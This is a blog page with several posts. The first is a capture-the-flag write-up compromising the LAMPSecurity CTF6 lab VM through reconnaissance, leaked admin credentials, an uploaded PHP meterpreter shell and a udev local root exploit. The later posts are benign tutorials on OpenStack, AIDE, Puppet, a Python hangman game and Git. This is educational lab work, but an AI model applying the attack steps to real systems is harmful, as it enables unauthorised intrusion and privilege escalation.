Pen Testing – LAMPSecurity (CTF6)

Introduction

I recently learned about VulnHub, a site where you can download and attack some demo machines that others have shared. It is very useful if you are looking to learn about security or advance your existing skills. In this post I was targeting the LAMPSecurity: CTF6 machine. Setup is pretty simple, I downloaded the VM, converted it into qcow2 format and then fired it up with kvm.

1

Recon/Scanning

To start off I wanted to see what ports and services are running so I decided to run a scan to see if I could get more information.

The first issue is that the machine uses a DHCP so I need to determine its ip address.

# nmap -sP 192.168.1.0/24

Starting Nmap 7.12 ( https://nmap.org ) at 2016-04-22 21:03 EDT
Nmap scan report for 192.168.1.211
Host is up (0.00011s latency).
MAC Address: 52:54:00:2E:EF:25 (QEMU virtual NIC)
Nmap scan report for 192.168.1.1
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.38 seconds

Now I know the IP of the gateway is 192.168.1.1 so the IP address of the target machine is 192.168.1.211. Now that I know that I can perform a scan on the ports to see what is open.

# nmap -sS -sV 192.168.1.211
Nmap scan report for 192.168.1.211
Host is up (0.00013s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.2.3 ((CentOS))
110/tcp  open  pop3     Dovecot pop3d
111/tcp  open  rpcbind  2 (RPC #100000)
143/tcp  open  imap     Dovecot imapd
443/tcp  open  ssl/http Apache httpd 2.2.3 ((CentOS))
993/tcp  open  ssl/imap Dovecot imapd
995/tcp  open  ssl/pop3 Dovecot pop3d
3306/tcp open  mysql    MySQL 5.0.45
MAC Address: 52:54:00:2E:EF:25 (QEMU virtual NIC)

The website seems to have Apache running so I decided to try scanning it with nikto to see if there are any interesting pages avaliable.

# nikto -h http://192.168.1.211/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.211
+ Target Hostname:    192.168.1.211
+ Target Port:        80
+ Start Time:         2016-04-22 21:25:05 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.3 (CentOS)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ Cookie roundcube_sessid created without the httponly flag
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ Server leaks inodes via ETags, header found with file /phpmyadmin/ChangeLog, inode: 97164, size: 35791, mtime: Wed Oct 19 17:47:44 2095
+ OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /sql/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3268: /docs/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 8496 requests: 0 error(s) and 29 item(s) reported on remote host
+ End Time:           2016-04-22 21:25:14 (GMT-4) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

There seems to be an interesting directory, /sql/ so I tried visiting it and lo and behold there is a file db.sql which I was able to open it and see some interesting data.

CREATE database IF NOT EXISTS cms;

use mysql;

GRANT ALL PRIVILEGES ON cms.* to 'sql_account'@'localhost' IDENTIFIED BY 'sql_password';

use cms;

DROP TABLE IF EXISTS user;
DROP TABLE IF EXISTS event;
DROP TABLE IF EXISTS log;

CREATE TABLE IF NOT EXISTS user (
user_id int not null auto_increment primary key,
user_username varchar(50) not null,
user_password varchar(32) not null
);

CREATE TABLE IF NOT EXISTS event (
event_id int not null auto_increment primary key,
event_title varchar(255) not null,
event_body text,
event_file varchar(255) default null,
user_id int not null,
event_hits int default 0
);

CREATE TABLE IF NOT EXISTS log (
log_id int not null auto_increment primary key,
log_ip varchar(20),
log_referer varchar(255),
log_useragent varchar(255)
);

DELETE FROM user;
DELETE FROM event;
DELETE FROM log;

INSERT INTO user SET user_id = 1, user_username='admin', user_password=md5('adminpass');

...

Exploitation

The most interesting part is that there is a password for user admin in plain text. So naturally I tried to log in to the web interface and the creds worked!

2

Now I clicked the Add Event tab and it seems to let me upload files so this is possibly a situation where I can upload a reverse shell. First however I wanted to make sure there is some way for me to access the files after upload. Looking back at the nikto scan, there was a directory for /files/ and visiting it in the browser shows that this is where the system stores its files.

With that known I fired up a Kali VM and generated a reverse shell script.

root@kali:~# msfvenom -p php/meterpreter/bind_tcp R > out.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1188 bytes

Now I just uploaded the script to the site using the form and confirmed it shows up in the files directory.

3

All that was left now was to start up the listener on the Metasploit VM and wait for a connection. As soon as I clicked the reverse-shell.php file, I saw a meterpreter shell open on the Metasploit console! Success!

root@kali:~# msfconsole

msf => use exploit/multi/handler
msf exploit(handler) => set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp
msf exploit(handler) => set RHOST 192.168.1.211
RHOST => 192.168.1.211
msf exploit(handler) => exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 192.168.1.211
[*] Meterpreter session 1 opened (192.168.1.131:41387 -> 192.168.1.211:4444) at 2016-04-22 03:29:08 -0400

meterpreter > getuid
Server username: apache (48)

Excellent, now I needed some local vulnerability that I could exploit to take over the system. After some research I found a udev exploit that this system was apparently vulnerable to (https://www.exploit-db.com/exploits/8478/).

I created a file on the system and set the execute bit on, then ran it..

./a.sh 422
/usr/bin/ld: cannot open output file /tmp/udev: Permission denied
collect2: ld returned 1 exit status
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status

# id
uid=0(root) gid=0(root) groups=48(apache)
# touch pwn
# ls -l
total 40
-rw------- 1 root root  1045 Jun  2  2009 anaconda-ks.cfg
-rw-r--r-- 1 root root 17219 Jun  2  2009 install.log
-rw-r--r-- 1 root root  3419 Jun  2  2009 install.log.syslog
-rw-r--r-- 1 root root     0 Apr 23 19:08 pwn

So there we go, the udev exploit was enough to compromise this server!

If you found this post interesting, stay tuned I plan on doing some more in the future.

Advertisements
Posted in Bash, Hardening, Linux, Security | Tagged , , | Leave a comment

Starting With OpenStack

Just a quick post from our labs exploring OpenStack in class.

Installation

Openstack can be installed through the use of packstack on Centos 7.

systemctl disable NetworkManager; systemctl stop NetworkManager;
# Edit /etc/sysconfig/network-scripts/$NAME_OF_INTERFACE

Then just download the script for installation and run it

wget https://pastebin.com/raw/tmTf8XTS -O packstack-install.sh
chmod u+x packstack-install.sh
./packstack-install.sh

Contents of the packstack install script:

#!/bin/bash

read -p "Have you run packstack before? (y/n) " -e reply

if [[ "$reply" == 'n' ]];
then
	echo "Adding rdoproject repository"
	yum install -y https://rdoproject.org/repos/rdo-release.rpm &> /dev/null

	echo "Updating system"
	yum update -y &> /dev/null

	echo "Installing Packstack Package"
	yum install -y openstack-packstack &> /dev/null

	echo "Running Packstack install"
	packstack --allinone --provision-demo=n --os-neutron-ovs-bridge-mappings=extnet:br-ex --os-neutron-ml2-type-drivers=vxlan,flat

elif [[ "$reply" == 'y' ]];
then
	read -p "Please specify the packstack answer file" -e packFile
	packstack --answer-file $packFile
else
	echo "Skipping install..."
fi

Once OpenStack is installed you will have to visit http://YOUR_IP/dashboard And you will be greeted by a login screen. The credentials to log in are avaliable in the users home directory in a file called keystonerc_admin.

Once you log in you will be able to view a summary of many components of the OpenStack instance.

2

You can then download a template and setup a VM.

2

Once you have an instance running then you can view what is visible on the VMs console.

2

Lastly you can also view a summary of the network and what hosts are registered.

2

There is a lot more to OpenStack but this is a basic summary of what is available after an installation on a single host.

Posted in Bash, Linux, Management, Monitoring | Tagged , , , | Leave a comment

Hardening Linux Server With AIDE

What is AIDE?

AIDE is an Intrusion Detection System for checking file integrity. This is done through the comparison of database files. AIDE is capable of checking inode, permissions, modification time and file content changes.

Installation

Installation is very simple for AIDE you just need to install the package. For openSUSE you can just install it from the default OSS or security repo from OBS.

zypper in aide

Setup

First of all we need to tell AIDE what directories to monitor as well as where to store the database files that it will use to compare the state of the system.

Open up /etc/aide.conf in your favorite text editor and check out the following values.

The “database” is where the “good” or initial state of the system is stored, this can be on the local system but it may be a good idea to store this on a read only network mount if you are running AIDE on a production server. When AIDE runs it will create a “new” or “current” state database and perform a comparison with the known good state and notify you if there are differences detected.

database=file:/var/lib/aide/aide.db
database_out=file:/var/lib/aide/aide.db.new

When AIDE prints out its messages it can be configured by the administrator to only provide certain details. AIDE is very flexible in what it can display, a full list can be found here(http://aide.sourceforge.net/stable/manual.html)

Binlib          = p+i+n+u+g+s+b+m+c+sha256+sha512
ConfFiles       = p+i+n+u+g+s+b+m+c+sha256+sha512
Logs            = p+i+n+u+g+S
Devices         = p+i+n+u+g+s+b+c+sha256+sha512
Databases       = p+n+u+g
StaticDir       = p+i+n+u+g
ManPages        = p+i+n+u+g+s+b+m+c+sha256+sha512

Further down in the configuration file you will find definitions for what directories AIDE should ignore, which it should track and what rule they fall under.

To tell AIDE to ignore a directory simply put a “!” before its declaration:

!/etc/mtab

To track a directory and match it to a rule simply declare the rule you wish to match right after the directory.

/etc                                    ConfFiles

For example the /etc rule matching a changed file would result in the following output:

File: /etc/resolv.conf
Size     : 76                               , 49
Mtime    : 2016-03-13 15:05:13              , 2016-03-14 13:25:26
Ctime    : 2016-03-13 15:05:13              , 2016-03-14 13:25:26
Inode    : 772672                           , 772869
SHA256   : qCbGw+A+0SnH+O0FflNzPdV1erRYhuPj , NxfZibNn41iitzt6HyCtPaW9t/K+e23T
SHA512   : weUPRQHqB0nzlhi2SEwhRD49LPUxKG0y , gI8iXh74BsDY8Ol3x4YlzepHtk8uFyxD

Its important to understand the basics of this configuration file as it makes AIDE a very flexible auditing tool.

Scheduling

The easiest way to schedule regular AIDE audits is to make use of cron and running a script. As the root user you can create a file /root/bin/aide.sh and add the following lines:

#!/bin/bash

# these should be the same as what's defined in /etc/aide.conf
database=/var/lib/aide/aide.db
database_out=/var/lib/aide/aide.db.new
    
ADDR="root@localhost"

The first thing the script needs to do is to check if the “good” state database exists. If it does not then the script should exit as it cannot make the comparison.

if [ ! -f "$database" ]; then
    echo "$database not found" >&2
    exit 1
fi

This next part is relevant on desktop systems because they change far too often for a single state to always be good. Instead the script will copy the previous runs “new” database over the old “good” database and then generate a new database of the current state.

mv $database_out $database
aide -u
aide --check --verbose > /tmp/aide.txt

Once that is done the script needs to see if there was any difference found, and if there was to send the data to the administrator.

grep "Looks okay" /tmp/aide.txt &> /dev/null

if [[ $? == "0" ]]; then
    echo "No difference found!" | mail -s "AIDE Report" $ADDR
else
    cat /tmp/aide.txt | mail -s "AIDE Report" $ADDR
fi

Lastly the script should remove the file it created in /tmp

rm /tmp/aide.txt

Save the file and open a terminal as root and enter the /etc/cron.daily and create a symlink to the aide.sh script

cd /etc/cron.daily/
ln -s /root/bin/aide.sh aide.sh

Note that if you are finding the daily scheduled time to be inconvenient you can edit the /etc/sysconfig/cron file and change DAILY_TIME value. For example:

DAILY_TIME="18:30"

Once that is done, wait for the DAILY_TIME value to be hit then see if it emails the user you defined in the script.

Posted in Hardening, Linux | Tagged , , | 2 Comments

Learning Puppet: Part 1

Puppet is a very useful configuration management tool that has become popular due to its ability to allow administrators to enforce configuration on an entire network. Here is an excerpt from the book Learning Puppet by Jussi Heinonen about why you should use Puppet instead of custom scripts:

Prior to Puppet, I used to use various self-written scripts to automate the deployment processes in order to make the process repeatable, but I’m doing much less of that since I discovered Puppet. The problem with scripts, as I see it, is that they are hard to transfer across and to hand over, as scripts are often complex and difficult to read by people who are unfamiliar with the language in which the scripts are written.

This book provided a lot of help for me and most of the examples are taken right from this book as I found they made it easier for me to get a hang of the basics.

The first step to learning Puppet is downloading the “Learning VM” from here. Once you have the image downloaded, extract the zip and boot up the VM (exact instructions depend on which virtualization software you use). If you are using KVM you may want to consider using qemu-img to convert the vmdk file to a qcow2 file using the following command:

user# qemu-img convert learn_puppet_centos-6.5-disk1.vmdk -O qcow2 puppet.qcow2

Once you have the VM booted up you should see a login prompt, the default login credentials are ‘root’ with password ‘puppet’. Once you log in there should be a prompt like this:
puppet-login

Next you should check the version of Puppet that you are using to make sure it is not too old/new for this guide. At the time of writing this is the support version:

[root@learning ~]# puppet --version
3.7.3 (Puppet Enterprise 3.7.1)

The way that puppet differentiates between different types of configurations (users, services, etc.) is through the use of resources. There are several built in resources but you can also create your own if you so desire. To see a complete list of the resources run the following command:

[root@learning ~]# puppet describe --list | less

To get more information about a certain resource (zfs in this case):

[root@learning ~]# puppet describe zfs | less

To manage Puppet resources you must use the puppet resource command. This command can be used on different resource types to enforce certain attributes on instances of a resource. For example we can force the creation of a user with the following command (Note that the password must be provided in a hashed form and not as plaintext, in this case the password is ‘puppet’):

[root@learning ~]# puppet resource user Ballard ensure=present managehome=true password='$1$jrm5tnjw$h8JJ9mCZLmJvIxvDLjw1M/'
Notice: /User[Ballard]/ensure: created
user { 'Ballard':
  ensure   => 'present',
  password => '$1$jrm5tnjw$h8JJ9mCZLmJvIxvDLjw1M/',
}

You may be wondering what exactly Puppet spits out when you run this command so lets walk through this.

  1. Notice: /User[Ballard]/ensure: created
  2. This line will tell you if the command completed successfully, for example a “create” or “delete” basis.

  3. user { ‘Ballard’:
    ensure => ‘present’,
    password => ‘$1$jrm5tnjw$h8JJ9mCZLmJvIxvDLjw1M/’,
    }
  4. This chunk says that the resource being created is named Ballard and that it is of type user. The ensure attribute can be set to present or absent depending on what you want for the resource. In this case since the attribute is set to present Puppet will enforce the existence of the user Ballard. Lastly the password attribute sets what the users password will be, note that it is in hashed form. On another note it is possible to override the username with the name attribute so that the user has a different name than the resource.

If you log out of the machine and try to login with the user Ballard and password puppet it should work. While this is neat, it is not very scalable because we have to remember all the parameters every time we want to create a resource. Fortunately Puppet provides a way for us to define a resource in a file, and then have Puppet enforce configuration based on the attributes defined in that file.

To start lets create some new users using this file. Run the following commands:

[root@learning ~]# puppet resource user snax > users.pp
[root@learning ~]# puppet resource user glen >> users.pp
[root@learning ~]# cat users.pp 
user { 'snax':
  ensure => 'absent',
}
user { 'glen':
  ensure => 'absent',
}

Note that this has not yet created the users for us, it has simply created a file that contains the instances of two user resources. To get Puppet to actually recognize these users we need to apply them using the puppet apply command. However before we do that we should take a closer look at the users.pp file and notice that ensure has been set to absent. If we leave the setting like this Puppet will delete the user every time it is created to we need to change the value to present instead. Your file should look like so:

[root@learning ~]# cat users.pp 
user { 'snax':
    ensure => 'present',
}
user { 'glen':
    ensure => 'present',
}

Now we can apply the resources using puppet apply:

[root@learning ~]# puppet apply users.pp 
Notice: Compiled catalog for learning.puppetlabs.vm in environment production in 0.14 seconds
Notice: /Stage[main]/Main/User[snax]/ensure: created
Notice: /Stage[main]/Main/User[glen]/ensure: created
Notice: Finished catalog run in 4.25 seconds

We can see Puppet claims to have created the users and if we check /etc/passwd file we can see it did work!

[root@learning ~]# grep -E "(snax|glen)" /etc/passwd
snax:x:507:507::/home/snax:/bin/bash
glen:x:508:508::/home/glen:/bin/bash

That is all for an intro to Puppet, it should give a basic understanding of how Puppet can enforce configuration on a local machine. In later posts I hope to go over how to enforce settings for services as well as across various machines.

Posted in Linux, Management | Tagged , | Leave a comment

Writing A Hangman Game (Python)

I wrote this program for the MITx: 6.00.1x Introduction to Computer Science and Programming Using Python course. This was one of the problem sets and it was a fun and easy program to write so I thought I would share my solution.

To start we need to create or download a wordlist file which contains english words that can be chosen by the AI for hangman. Here is some sample content from the wordlist I used:

a i ad am an as at ax be by do em en ex go he hi ho if in is it me my no of oh on or ox pi re so to up us...

Once we have the wordlist we can setup a couple functions to load the data and then choose a word (this code was provided as part of the exercise).

import random
import string

WORDLIST_FILENAME = 'words.txt'

def loadWordList():
    '''
    Returns a list of valid words. Words are strings of lowercase letters.

    Depending on the size of the word list, this function may
    take a while to finish.
    '''
    print 'Loading word list from file...'
    # inFile: file
    inFile = open(WORDLIST_FILENAME, 'r', 0)
    # line: string
    line = inFile.readline()
    # wordlist: list of strings
    wordlist = string.split(line)
    print '  ', len(wordlist), 'words loaded.'
    return wordlist

def chooseRandomWord(wordlist):
    '''
    wordlist (list): list of words (strings)

    Returns a word from wordlist at random
    '''
    return random.choice(wordlist)

# end of helper code
# -----------------------------------

Now lets define some more helper functions that we can use to abstract some of the tasks we need to repeatedly carry out. For starters we should check if the letter a user guesses is in the chosen word.

def checkGuess(guess, secretWord):
    '''
    guess: char, a letter that the user guessed
    returns: boolean, True if letter is in the word, False if letter is not
    '''

    if guess in secretWord:
        return True
    else:
        return False

The next function to implement is see how much of the word has been guessed. The function will return a string that can be printed to show the user what parts and how much of the word they have guessed. It will be in the following format: _ e _ _ o.

def getGuessWord(secretWord, lettersGuessed):
    '''
    secretWord: string, the word the user is guessing
    lettersGuessed: list, what letters have been guessed so far
    returns: string, comprised of letters and underscores that represents
      what letters in secretWord have been guessed so far.
    '''

    guess = ''

    for i in range(len(secretWord)):
        if secretWord[i] in lettersGuessed:
            guess += secretWord[i]
        else:
            guess += '_ '

    return guess

Once the user makes the guess and have not either guessed the word or run out of guessed, the program needs to make sure they know what letters are still available for guessing. This can be implemented as a function:

def getAvailLetters(lettersGuessed):
    '''
    lettersGuessed: list, what letters have been guessed so far
    returns: string, comprised of letters that represents what letters have not
      yet been guessed.
    '''

    lettersAvailable = ''
    for letter in 'abcdefghijklmnopqrstuvwxyz':
        if letter not in lettersGuessed:
            lettersAvailable += letter

    return lettersAvailable.lower()

The last helper function to implement is to check and see if the user has correctly guessed the word. If they got it the function returns True, otherwise False.

def isGuessed(secretWord, lettersGuessed):
    '''
    secretWord: string, the word the user is guessing
    lettersGuessed: list, what letters have been guessed so far
    returns: boolean, True if all the letters of secretWord are in lettersGuessed;
      False otherwise
    '''

    count = 0
    for letter in lettersGuessed:
        if letter in secretWord:
            count += 1

    if count == len(secretWord):
        return True
    else:
        return False

Now that all helper functions are implemented the final task is to create a hangman() function that is used as a “main” function to call whenever the game needs to be started.

def hangman(secretWord):
    '''
    secretWord: string, the secret word to guess.

    Starts up an interactive game of Hangman.

    * At the start of the game, let the user know how many
      letters the secretWord contains.

    * Ask the user to supply one guess (i.e. letter) per round.

    * The user should receive feedback immediately after each guess
      about whether their guess appears in the computers word.

    * After each round, you should also display to the user the
      partially guessed word so far, as well as letters that the
      user has not yet guessed.

    Follows the other limitations detailed in the problem write-up.
    '''

    # Load the list of words into the variable wordlist
    # so that it can be accessed from anywhere in the program

    lettersGuessed = []
    guessCount = 8

    print 'Welcome to the game, Hangman!'
    print 'I am thinking of a word that is %d letters long' % len(secretWord)

    # Make sure the user has not run out of guesses and the word was not guessed
    while not(isGuessed(secretWord, lettersGuessed)) and guessCount > 0:
        print '-------------'
        print 'You have %d guesses left.' % guessCount
        print 'Available letters: %s' % getAvailLetters(lettersGuessed)
        guess = raw_input('Please guess a letter: ').lower()

        if guess in lettersGuessed:
            print 'Oops! You've already guessed that letter: %s' % getGuessWord(secretWord, lettersGuessed)
        elif guess not in 'abcdefghijklmnopqrstuvwxyz':
            print 'Oops! That is not a letter: %s' % getGuessWord(secretWord, lettersGuessed)
        elif checkGuess(guess, secretWord):
            lettersGuessed += guess
            print 'Good guess: %s' % getGuessWord(secretWord, lettersGuessed)
        else:
            lettersGuessed += guess
            print 'Oops! That letter is not in my word: %s' % getGuessWord(secretWord, lettersGuessed)
            guessCount -= 1

    print '-------------'
    if guessCount == 0:
        print 'Sorry, you ran out of guesses. The word was %s.' % secretWord
    else:
        print 'Congratulations, you won!'

Now when the game is run, the AI should show the user what letters they have left, what parts of the word they guessed correctly and how many incorrect guesses they have left.

A game where the player wins:

Loading word list from file...
   55909 words loaded.
Welcome to the game, Hangman!
I am thinking of a word that is 6 letters long
-------------
You have 8 guesses left.
Available letters: abcdefghijklmnopqrstuvwxyz
Please guess a letter: a
Good guess: _ _ a_ _ _
-------------
You have 8 guesses left.
Available letters: bcdefghijklmnopqrstuvwxyz
Please guess a letter: i
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 7 guesses left.
Available letters: bcdefghjklmnopqrstuvwxyz
Please guess a letter: o
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 6 guesses left.
Available letters: bcdefghjklmnpqrstuvwxyz
Please guess a letter: e
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 5 guesses left.
Available letters: bcdfghjklmnpqrstuvwxyz
Please guess a letter: b
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 4 guesses left.
Available letters: cdfghjklmnpqrstuvwxyz
Please guess a letter: c
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 3 guesses left.
Available letters: dfghjklmnpqrstuvwxyz
Please guess a letter: t
Oops! That letter is not in my word: _ _ a_ _ _
-------------
You have 2 guesses left.
Available letters: dfghjklmnpqrsuvwxyz
Please guess a letter: f
Good guess: _ _ a_ f_
-------------
You have 2 guesses left.
Available letters: dghjklmnpqrsuvwxyz
Please guess a letter: y
Oops! That letter is not in my word: _ _ a_ f_
-------------
You have 1 guesses left.
Available letters: dghjklmnpqrsuvwxz
Please guess a letter: r
Good guess: _ _ arf_
-------------
You have 1 guesses left.
Available letters: dghjklmnpqsuvwxz
Please guess a letter: c
Oops! You've already guessed that letter: _ _ arf_
-------------
You have 1 guesses left.
Available letters: dghjklmnpqsuvwxz
Please guess a letter: d
Good guess: d_ arf_
-------------
You have 1 guesses left.
Available letters: ghjklmnpqsuvwxz
Please guess a letter: w
Good guess: dwarf_
-------------
You have 1 guesses left.
Available letters: ghjklmnpqsuvxz
Please guess a letter: s
Good guess: dwarfs
-------------
Congratulations, you won!

A game where the player loses:

Loading word list from file...
   55909 words loaded.
Welcome to the game, Hangman!
I am thinking of a word that is 9 letters long
-------------
You have 8 guesses left.
Available letters: abcdefghijklmnopqrstuvwxyz
Please guess a letter: a
Good guess: a_ _ _ _ _ _ _ _
-------------
You have 8 guesses left.
Available letters: bcdefghijklmnopqrstuvwxyz
Please guess a letter: e
Good guess: a_ _ _ e_ _ e_
-------------
You have 8 guesses left.
Available letters: bcdfghijklmnopqrstuvwxyz
Please guess a letter: i
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 7 guesses left.
Available letters: bcdfghjklmnopqrstuvwxyz
Please guess a letter: o
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 6 guesses left.
Available letters: bcdfghjklmnpqrstuvwxyz
Please guess a letter: u
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 5 guesses left.
Available letters: bcdfghjklmnpqrstvwxyz
Please guess a letter: b
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 4 guesses left.
Available letters: cdfghjklmnpqrstvwxyz
Please guess a letter: c
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 3 guesses left.
Available letters: dfghjklmnpqrstvwxyz
Please guess a letter: f
Oops! That letter is not in my word: a_ _ _ e_ _ e_
-------------
You have 2 guesses left.
Available letters: dghjklmnpqrstvwxyz
Please guess a letter: r
Good guess: a_ _ re_ _ e_
-------------
You have 2 guesses left.
Available letters: dghjklmnpqstvwxyz
Please guess a letter: d
Oops! That letter is not in my word: a_ _ re_ _ e_
-------------
You have 1 guesses left.
Available letters: ghjklmnpqstvwxyz
Please guess a letter: n
Oops! That letter is not in my word: a_ _ re_ _ e_
-------------
Sorry, you ran out of guesses. The word was aggresses.
Posted in Programming, Python | Tagged , , | Leave a comment

Introduction To Git

About Git: https://git-scm.com/book/en/v2/Getting-Started-Git-Basics

This post goes over the basics of how to manage a local git repository.

First we need to setup the local git repository, to do that we create a directory and then initialize git inside of it.

user@linux-ryzk:~/> cd ~/Documents/demo/git-tutorial/
user@linux-ryzk:~/Documents/demo/git-tutorial> git init
        Initialized empty Git repository in /home/user/Documents/demo/git-tutorial/.git/

Now lets check to make sure everything is working as expected, we should see that we are on branch master, with only the initial commit and no files to change.

user@linux-ryzk:~/Documents/demo/git-tutorial> git status
    On branch master

    Initial commit

    nothing to commit (create/copy files and use "git add" to track)

To demonstrate the power of VCS, we can mess with some basic text files. Lets create a file called example.txt and put some text inside of it:

user@linux-ryzk:~/Documents/demo/git-tutorial> cat example.txt
    This is some sample data

Now if we check git status we should see that git has noticed the creation of the file.

user@linux-ryzk:~/Documents/demo/git-tutorial> git status
    On branch master

    Initial commit

    Untracked files:
    (use "git add <file>..." to include in what will be committed)

            example.txt

    nothing added to commit but untracked files present (use "git add" to track)

To get git to start tracking a file you need to use the git add command like below. Then check status again to make sure the file is now being tracked.

user@linux-ryzk:~/Documents/demo/git-tutorial> git add example.txt
user@linux-ryzk:~/Documents/demo/git-tutorial> git status
user@linux-ryzk:~/Documents/demo/git-tutorial> git status
    On branch master

    Initial commit

    Changes to be committed:
    (use "git rm --cached <file>..." to unstage)

            new file:   example.txt

Now we can try to commit the file to the git repo, files that get commited will have their changes tracked. Note that if you do not commit your changes the repo will not have a snapshot of the changes. Using the add command is not enough!

user@linux-ryzk:~/Documents/demo/git-tutorial> git commit -m "This was my first commit!"

        *** Please tell me who you are.

        Run

        git config --global user.email "you@example.com"
        git config --global user.name "Your Name"

        to set your account's default identity.
        Omit --global to set the identity only in this repository.

        fatal: unable to auto-detect email address (got 'user@linux-ryzk.(none)')

Note that git complains we didnt tell it who we are. This is because git tracks who made a certain commit, which will prove to be useful when we use the git blame utility to figure out who made certain changes!

So lets setup our account and then try to commit again…

user@linux-ryzk:~/Documents/demo/git-tutorial> git config --global user.email "ushamim@linux.com"
user@linux-ryzk:~/Documents/demo/git-tutorial> git config --global user.name "Uzair Shamim"
user@linux-ryzk:~/Documents/demo/git-tutorial> git commit -m "This was my first commit!"
    [master (root-commit) 7879099] This was my first commit!
    1 file changed, 1 insertion(+)
    create mode 100644 example.txt

We can use the git log to track all the changes ever made to this repo. If we check now we see there is just the commit we made.

user@linux-ryzk:~/Documents/demo/git-tutorial> git log
    commit 7879099254ac26ed30b6ef2f1424d919032aeb9d
    Author: Uzair Shamim <ushamim@linux.com>
    Date:   Wed Jan 20 20:35:29 2016 -0500

        This was my first commit!

Now lets edit the example file, add it to the tracked files and then commit it again.

user@linux-ryzk:~/Documents/demo/git-tutorial> cat example.txt
    This is some sample data. I made a mistike.
user@linux-ryzk:~/Documents/demo/git-tutorial> git status
    On branch master
    Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)

            modified:   example.txt

    no changes added to commit (use "git add" and/or "git commit -a")
user@linux-ryzk:~/Documents/demo/git-tutorial> git commit -m "This was my second commit!"
    [master 1eb830b] This was my second commit!
    1 file changed, 1 insertion(+), 1 deletion(-)

When we check the logs we can see we now have two different commits. Progress!

user@linux-ryzk:~/Documents/demo/git-tutorial> git log
    commit 1eb830bb5f6e84955d6170fc8c16fe984960c048
    Author: Uzair Shamim <ushamim@linux.com>
    Date:   Wed Jan 20 20:38:21 2016 -0500

        This was my second commit!

    commit 7879099254ac26ed30b6ef2f1424d919032aeb9d
    Author: Uzair Shamim <ushamim@linux.com>
    Date:   Wed Jan 20 20:35:29 2016 -0500

        This was my first commit!

Now that we have more than one commit, we can use the git diff utility to show us what changes were made to the repo between them. Note that the commit ID from the log is used for this, and the order you put the commits in affects the result (scroll down for an example).

user@linux-ryzk:~/Documents/demo/git-tutorial> git diff 1eb830bb5f6e84955d6170fc8c16fe984960c048 7879099254ac26ed30b6ef2f1424d919032aeb9d
    diff --git a/example.txt b/example.txt
    index e0373f3..caf30c1 100644
    --- a/example.txt
    +++ b/example.txt
    @@ -1 +1 @@
    -This is some sample data. I made a mistike.
    +This is some sample data

Lets create another file called example2.txt and put some text in it. Then we can add it and push a third commit to our repo.

user@linux-ryzk:~/Documents/demo/git-tutorial> git add example2.txt
user@linux-ryzk:~/Documents/demo/git-tutorial> git commit -m "This was my third commit!"
    [master 6c57eaa] This was my third commit!
    1 file changed, 1 insertion(+)
    create mode 100644 example2.txt

If we check our logs and diff we will see it now tells us two files were changed! This is very handy when you want to figure out what exact changes were made to your setup at a certain time. Note how in the example below the order of the commits affects what diff shows as added/removed.

